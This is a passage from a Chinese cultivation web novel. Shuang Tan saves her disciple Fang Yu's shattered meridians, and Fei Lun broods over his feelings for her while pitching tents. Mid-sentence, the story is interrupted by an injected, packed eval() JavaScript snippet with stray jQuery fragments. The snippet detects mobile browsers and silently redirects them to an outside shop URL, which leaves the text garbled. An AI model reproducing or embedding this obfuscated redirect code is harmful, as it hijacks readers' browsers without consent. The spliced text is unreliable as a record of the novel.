弟子堆里,方玉被一众人搀扶着,大口大口地向外倒着血,猩红落入浅草,将草皮染成棕红。
“我……我没事……咳咳!”
方玉几欲起身,却次次力竭,又跌回地上。
“师姐别乱动,峰主来了。”
方玉抬起眼,清亮的目光从众人身上略过,又在斐沦那里停了一瞬,最后才落到霜昙身上。
“嗬……”方玉虚弱地笑着,“给峰主添麻烦了。”
“无妨,有我在,你且歇着。”霜昙卷起袖子,蹲着她身旁,尝试查看她的身体状态。
岑闲满脸愁容:“峰主,师姐怎么了?”
霜昙没有回他,在脑中问团子:【你是说,全身经脉寸断?】
这在修真小说里可是个棘手的事情。
修仙之人,除了那个与生俱的来不知深浅的天赋,便是那全身的经脉。
经脉断了,轻则重伤,修为尽失,重则久病不愈,日渐衰亡,最后殒命。
【系统扫描结果是这样的。】尊嘟一次性用了几十根毛,在系统空间里检索,【霜霜你别急,不是必死局,我记得这种情况能救下来,你等等,我翻翻系统资料……】
【当务之急,得弄明白症状来源,咱们才好对症下药。】
是啊,方玉究竟经历了什么?
她光顾着与那蛇缠斗,并未顾及到每一人的状态,难道是她一时不察,让那蛇突袭了方玉?
为安抚那几个手忙脚乱的弟子,霜昙没有说实话,只是轻描淡写:“还有救。”
接着她转头问众人:“当时是什么情况?有谁知道方玉经历过什么?”
岑闲作为唯一一个全程同方玉在一起的弟子,率先发言:“是弟子无用,一路都靠方师姐庇护。遇到大蛇后,方师姐迅速带着弟子避开,防御阵法亦是方师姐以……以私带的防御法器所制,弟子无能,未能帮助方师姐分担压力……”
“所以,你们并未被那蛇袭击是吗?”
岑闲点头:“方师姐的阵法十分牢固,单是避开落石与偶尔拍来的蛇尾,已是够用。”
霜昙直觉是那法器有问题。
试炼之门是不允许携带法器的,一是预防弟子以法器差异拉开彼此差距,影响重修重考的公平性,二是保护弟子的人生安全,防止弟子之间因夺宝之事发生内斗伤人。
而这次的几个小兔崽子,多多少少都带了点东西进来。
比如孔洵路关键时刻掏出来的毯子。
比如方玉的防御法器。
但事发突然,若无法器助力,他们能否全身而退都是未知。
因而所有人都心照不宣没有在霜昙面前提法器的事情,霜昙也全当没看见。
如今为了救人,岑闲将这个话题提上台面,霜昙也不得不将目光放在那个法器上。
于是她又道:“我看看那个法器。”
孔洵路小声:“这……它,碎了。”
“嗯?”
几个弟子七手八脚地给霜昙讲了当时蛇尾横扫过来,众人靠着方玉那神秘透明球体法器才得以逃出生天的事。
在方玉被吕自桥拉上毯子时,吕自桥看到她手中那个球型法器碎成了粉末,被方玉当场当做垃圾般随手撒出去了。
当时众人只当这是个寻常的消耗型法器,加上方玉后续情况不好,他们也就没有再多加追问。
如今看来,方玉受伤,或许正与那神奇的法器有关。
碎掉的法器,碎掉的经脉。
霜昙瞬间明白了。
这孩子是把自己的本命法器给用没了。
这怎么救?
给她把经脉一点点接起来吗?
恰在此时,白团子在霜昙脑子里发出兴奋的呼声:【找到了!】
【快说。】
尊嘟在系统资料里找到了一个案例,说的是很久之前,文心峰前前前不知道前了多少代的老峰主捡到过一个情形与方玉有点相似的人。
那人的情况甚至比方玉还要惨一点,不仅经脉,甚至是骨骼都碎完了,但老老老峰主硬是靠着精妙的文心之术将人从阎王爷手里抢了回来。
霜昙多问了一句:【影响后续修炼吗?】
团子回:【不影响不影响,这人最后回到妖界,还一拳干翻了妖皇,自己成为了新王呢。】
【OK,我明白了。告诉我怎么做。】
【好的,接收一下资料。】
霜昙合上眼,将脑海中的相关资料悉数接收。
完完整整看过一遍资料后,霜昙不由得感慨,这哪是“古诗词背诵”术,这分明就是唯心主义圣剑啊。
事不宜迟,她迅速用了100积分换了俩万能护心丹给方玉喂了下去。
岑闲见沉默良久的霜昙终于有所行动,急忙问:“峰主,可有办法救师姐?”
霜昙沉着点头:“嗯。”
“其余人先去搭帐篷吧,今夜需好生休整。”霜昙将戒尺竖插于地上,将除开她与方玉之外的所有人隔绝在外。
心力蔓延进方玉的身体,霜昙沉稳的声音安抚着伤者的情绪:“没事,你会好起来的。”
“我保证。”
方玉点点头,顺从地闭上眼。
淡淡的青色光芒在霜昙眼中跃动如两团将欲燎原的火焰。
斐沦看着那个不透明的半球形屏障,没有跟着师兄们离开,而是留在原地,像个稻草人一样被钉在那。
直到吕自桥注意到那抹白毛不在人群中,这才朝着斐沦大喊:“小师弟,别等你师尊啦,快来!师兄教你搭帐篷!”
斐沦这才动身。
【老大,你看上去心情又不太好。峰主已经平安归来,还有什么好担心的?】假嘟磕了磕俩瓜子,想了想,给斐沦递过来一粒,【要么?芥末味的。】
斐沦看着自己脚下的片片杂草,心中混乱的思绪又开始蔓延,他没有正面回答,只是说:【此前我虽然有这种感觉,但大都不甚明显。】
而如今……斐沦再次回望那个半球体的不透明屏障,悄然叹息。
【你与我就好似一个见证……霜昙,与那群弟子故事的局外人。】
假嘟见他不要瓜子,只得悻悻收回去:【别这么想。】
它认真地抖了抖毛:【刚刚不还挺好吗?怎么开始瞎想了。】
【峰主提前将你传送出来,定不是将你视作累赘的。再者,你一个凡人之躯,留在现场也是添乱啊。】
斐沦垂眸:【我自是明白这个道理。】
他明白霜昙不是嫌弃一个凡人无法帮助她分毫,亦不是觉得他就是累赘。
她只是不想自己出事,就像他不希望她受伤一般。
换成斐沦,他也会做出相同的选择。
他只是有点……郁闷。
【我好像什么都帮不上她。】斐沦跟上吕自桥一行人的步伐,开始在沈纶羽的指挥下搭帐篷,乾坤袋中备的有材料,基本构造与现代用的差不多,算是好处理的那类。
【你活着就是对峰主最好的帮助了喵。】假嘟尝试伸出绒毛摸摸他,但意识的海洋里,人类的意识于系统而言只是一截电波。
【我并非想证明自己,只是……】斐沦想起那带着血气的薄荷味,【我不想有一日,她遇到危险,而我束手无策。】
在霜昙杳无音信的那段时间,他想了很多。
从她提着蛇
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16741163|185810||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
头向自己炫耀战绩,到六人尸骨无存,他在一片废墟中跪求尸骨……
【她好像越来越遥远,而我想去追上她。】
假嘟不明白斐沦为何会无端变得优柔寡断多愁善感,但作为系统,它还是拥有自己的父爱,于是假嘟说:【还说你跟她没什么,你这不都想追求她了吗?】
【一会儿把人担心得不要不要的,一会儿又把人抱着叽叽歪歪,这会儿又为了她多愁善感,你这若不算动情,那什么才算?】
斐沦矢口否认:【并非。】
【我与她,真的只是认识。】
斐沦一边支起架子,一边同假嘟说:【她其实不算那种胆子很大的,又能撑起一片天的人。】
往事种种,映于心头。
那时他与霜昙还不算很熟,虽然曾在学生会中有过几次工作交接,但更多的是线上交流。
偶然一次机会,他与霜昙被抽签分配到同一个小组去发问卷,去进行一些完全没有必要也完全没有意义的社会调查。
尴尬的是,两个人都是社恐,你瞅瞅我,我瞅瞅你,谁都不敢迈出勇敢的第一步。
斐沦心知不可如此继续耗下去,便自己先随机找了个面善的阿姨进行第一轮尝试。
结果没有任何悬念。
阿姨觉得这是个缅北来的骗子,狠狠拒绝了。
斐沦开了个不太好的头,但这好似打开了霜昙的任督二脉,有了老学长失败的案例,这小登忽然就从畏畏缩缩的社恐状态脱离,顶着一张虚伪的笑脸就去发问卷了。
两人从菜市场一路到火车站,从广场到商城,腆着大学生的一张薄脸,干着类似广告传销的勾当,忙忙碌碌一整天,一看问卷没过千。
经过这大半天的观察,斐沦算是明白了,此女子存在一种神奇的社恐症状,尝试一件新鲜事的时候,若无人走在她前面,她会又怂又莽,怂是自己在后面躲着,莽是怂恿别人去莽。
当别人为她开过头后,此女便会解开封印,进入打鸡血模式。
鸡血持续时长约十几分钟,十几分钟后,此子便会缩在他身后,说什么都不敢去拦人发问卷,此时则又需要斐沦去示范一下“如何随机拦住一个路人并使出浑身解数令其填写问卷”的方法,当斐沦尝试过后,霜昙又会跟打了鸡血一样去干活。
【好奇怪的人类。】
“师弟,小心!”
不等斐沦反应过来,沈纶羽就出手将一根即将倒在斐沦身上的架子拦住。
“没事吧?”
斐沦摇摇头。
他淡淡道:【她就是这样的人。】
很奇怪,但又很正常。
【莫非这就是你们常说的社恐?】
斐沦接过岑闲抛来的一块布料,将其固定:【那你想的太简单了。】
霜昙是一个对外社恐,对内也“社恐”的,平平无奇大学牲。
在不熟的人面前,她永远是一副完美的乖巧模样,而在熟悉的人面前,她又会与人熟络,会失去距离。
会失去社交间该有的分寸。
会将人撩了就跑。
又不负责任。
斐沦将这些纷乱往事甩开,对着笨拙的一个系统说着它不太理解的话:【她的性格,很难使她迅速融入一个集体。】
而如今,霜昙不仅在文心峰混的如鱼得水,还展现出了从未有过的过分成熟。
她仿佛不是那个会因为考到抽象教资题就张牙舞瓜的活力少女,而是真的变成了一位资历深厚的仙师。
【她能突破自我自然是好事,但我不希望她需要顶着可能存在的高压环境被迫坚强。】
【这样对她来说,太不公平了。】